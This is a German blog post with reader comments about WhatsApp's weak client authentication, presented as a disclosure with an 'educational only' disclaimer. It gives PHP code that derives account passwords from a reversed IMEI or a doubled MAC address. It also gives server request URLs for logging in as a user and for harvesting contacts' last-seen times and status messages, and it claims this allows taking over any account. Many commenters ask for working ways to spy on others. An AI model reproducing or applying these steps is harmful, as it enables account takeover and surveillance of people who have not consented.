WhatsApp, der extrem beliebte Instant-Messaging-Dienst, über den pro Tag über 1 Billion eine Milliarde Nachrichten versendet werden, hat ein gewaltiges Sicherheits-Problem. Und zwar nicht das Problem, von dem man schon vor einigen Monaten gehört hat. Darüber möchte ich im folgenden Artikel schreiben.
Die Verschlüsselung von WhatsApp
Seit August diesen Jahres ist klar geworden, das WhatsApp die Nachrichten seiner Nutzer nicht verschlüsselt überträgt. Wenn man sich in einem öffentlichen W-Lan aufhält und über dies Nachrichten mittels WhatsApp verschickt, können andere Leute ein- und ausgehende Nachrichten und Dateien mitlesen und mitscheinden. Als dies an die Öffentlichkeit kam, versicherte man seitens WhatsApp die Nachrichten in Zukunft zu verschlüsseln – allerdings ohne Details über das eingesetzte Verschlüsselungsverfahren zu nennen. Inzwischen ist klar: die eingesetzte Verschlüsselung wurde geknackt.
- Werbung in eigener Sache -
Neuer Prepaid-Anbieter: allNet-Flat, 500MB Traffic bis Drosselung im Vodafone-Netz für gerade mal 10 Euro / Monat! Und die Rufnummer kann auch mitgenommen werden. Wie das geht? ABCHECKEN!
Authentifizierung mit den WhatsApp-Servern
Die Klient-Authentifizierung WhatsApp’s ist ein Disaster. Unter Android ist das Passwort ein einfacher Hash der umgedrehten IMEI-Nummer:
$myImei = "112222223333334"; // Beispiels-IMEI // die umgedrehten (strrev()) und mit einem MD5 // gezogenem Hash (md5()) IMEI ergibt unter Android das Passwort. $androidWhatsAppPassword = md5(strrev($myImei));
Aber auch auf dem iPhone wird interessant verschlüsselt:
$myWlanMAC = "AA:BB:CC:DD:EE:FF"; // Beispiels-WLAN-Mac-Adresse $iphoneWhatsAppPassword = md5($myWlanMAC.$myWlanMAC); // ..doppelt genommen ergibt mit MD5 das Passwort
Der Benutzername ist in beiden Beispielen die Handynummer – ein Attackierer kennt diese wahrscheinlich. Und IMEI und Mac-Adresse? Die IMEI kann mit der einfachen Eingabe von *#06# im Handy angezeigt werden. Die Mac-Adresse wird mit allgemein bekannten Sniffer-Tools in 5 Minuten ausgelesen. Und mit diesen einfachen Schritten habe ich das Werkzeug, den WhatsApp Account eines jeden Nutzers zu übernehmen und alles mitzulesen. [Wichtige Hinweisnote: du darfst es nicht ausführen - es ist verboten. Das heißt: du darfst keine WhatsApp-Accounts hacken. Dieser Artikel ist nur als Information zu schulischen Zwecken gedacht.]
Es gibt ein paar klasse Leute, die das Prinzip des Reverse Engineering verstanden und praktiziert haben und uns einen OpenSource WhatsApp Klienten zur Verfügung stellen, der – in PHP geschrieben – auf https://github.com/venomous0x/WhatsAPI zum freien Download steht.
Hast du auf deinem Smartphone (noch) WhatsApp installiert? Dann kannst du es selbst einmal in meinem kleinen WhatsApp-Passwort-Generator testen. Hast du dein Passwort generiert, kannst du den folgenden Link mit deinen Variablen aufrufen:
https://r.whatsapp.net/v1/exist.php?cc=$countryCode&in=$phoneNumber&udid=$password
Ersetze dabei $countrycode durch deine Ländervorwahl (in Deutschland 49), $phoneNumber durch deine Handynummer (ohne die anführende 0, sprich bei 0174… ist $phoneNumber einfach 174…) und $password durch dein generiertes Passwort. Wenn du eine folgende XML-Antwort zurückbekommst…
<?xml version="1.0" encoding="UTF-8"?> <exist> <response status="ok" result="xxxxxxxxxxx"/> </exist>
…hast du es geschafft und bist praktisch “drin”. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.
Mit dem folgenden Request ($friendX ist übrigens die Nummer deines WhatsApp-Freundes – so können auch ohne einen weiteren Request Informationen zu zig Nummern geholt werden)…
https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3 (...)
…bekommen wir ein folgendes XML-Dokument zurück:
<plist version="1.0">
<array>
<dict>
<key>P</key>
<string>+49174xxxx</string>
<key>T</key>
<integer>17423368</integer>
<key>S</key>
<string>Kämme gerade meine Haare.</string>
<key>JID</key>
<string>0174xxxx</string>
</dict>
</array>
</plist>
Dabei ist wohl der Parameter P die Handynummer des Benutzers, T (time?) die Uptime des Benutzers (“Wann das letzte mal online?”), S die momentane Statusnachricht des Benutzers (meine – hööhöö
) und JID ist die Jabber-ID.
Mit der oben angesprochenen WhatsApp-PHP-Api können zudem Nachrichten und mehr verschickt werden.
Und jetzt?
Erst einmal kein WhatsApp benutzen – bitte. Zwar bin ich auch nicht unbedingt ein Fan davon, jeglichen Nachrichten-Quatsch per Facebook-Messages abzuwickeln, imho ist es aber im Moment die bessere Wahl – zumindest so lange bis WhatsAPP die Sicherheitslücken behoben hat und die Passwörter seiner Benutzer richtig verschlüsselt.

Kurze Korrektur: “one billion” im englischen entspricht “einer Milliarde” im Deutschen. Ein Fehler, der gerne und oft gemacht wird.
Vielen Dank, ist korrigiert.
Funktioniert das noch?
Muss ich es über ein smartphone machen oder geht es über den PC?
Merkt jemand das man online ist?
Muss ich unbedingt im gleichen WLAN sein?
ich habe das mal ausprobiert, aber erhalte:
Habe das eben ausprobert und erhalte momentan:
sorry, es steht bei mir ein fail
also ich erhalte: status ok sowie die nr.
wie aber gehts danach weiter?
“…hast du es geschafft und bist praktisch „drin“. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.”
gehe mal davon aus, dass das via programm nur möglich ist. kann allerdings kein link bzw. download finden.
wäre super nett, wenn man jemand kurz helfen könnte!!!
danke!
Habe gestern mein Konto bei WhatsApp und die App gelöscht. Gerade mal getestet und erhalte immer noch ein OK
((
Scheint wohl nicht mehr zu funktionieren…
https://r.whatsapp.net/v1/exist.php?cc=$countryCode&in=$phoneNumber&udid=$password
mit dem $ Zeichen vor den Variablen gibt er ein “bad” zurück, ohne die $ Zeichen kommt lediglich ein Incorrect nachdem man das generierte Passwort eingibt…
Pingback: Umstieg von WhatsApp auf Hike und warum das nicht klappen wird - Franky
Pingback: Sicherheit und WhatsApp | Linux Tagebuch
Klappt das jetzt noch? Oder gibt es eine Alternative?
Geht nicht mehr ! ? habe es ein paar mal versucht aber immer fail .. kann du nicht ein neues faq machen was geht
thx
hallo franky
wie kann ich direkten kontakt zu dir aufnehmen?
es ist äusserst wichtig und dringend für mich…für dich wird es sehr positiv sein!!…
besten dank!
lg, jasmin
Hi franky! Gibt es schon einen neuen link der funktioniert für whats app?dieser hier funktioniert leider nicht mehr und ich brauche den wirklich sehr sehr sehr dringend, geht um etwas wichtiges! Bitte um Antwort! Freundliche Grüße Jacky
würde mich auch mal interessieren. gibt es einen neuen link?!
Hey franky bin gerade total aufgelöst auf deine seite gestoßen , es ist wahrscheinlich eher unsinn hier etwas zu posten da du dich mit sicherheit eh nicht bei den ganzen leuten melden kannst … ich versuch es einfach wär super wenn du genie dich mal melden würdest lg ..
Hi,
könnten Sie sich bitte bei mir melden?
Danke schon im Voraus.
Oh Mann alle auf’n Spionagefilm. :-/ Mädels des is der falsche Ort hier f euch. In erster Linie sollte die Info zum eigenen Schutz sein u um seine eigene PRIVATSPHÄRE zu bewahren..und nicht um Leute auszuspionieren,egal um was es geht..ES IST PRIVATSPHÄRE. Und unter anderem eine Straftat diese zu verletzen…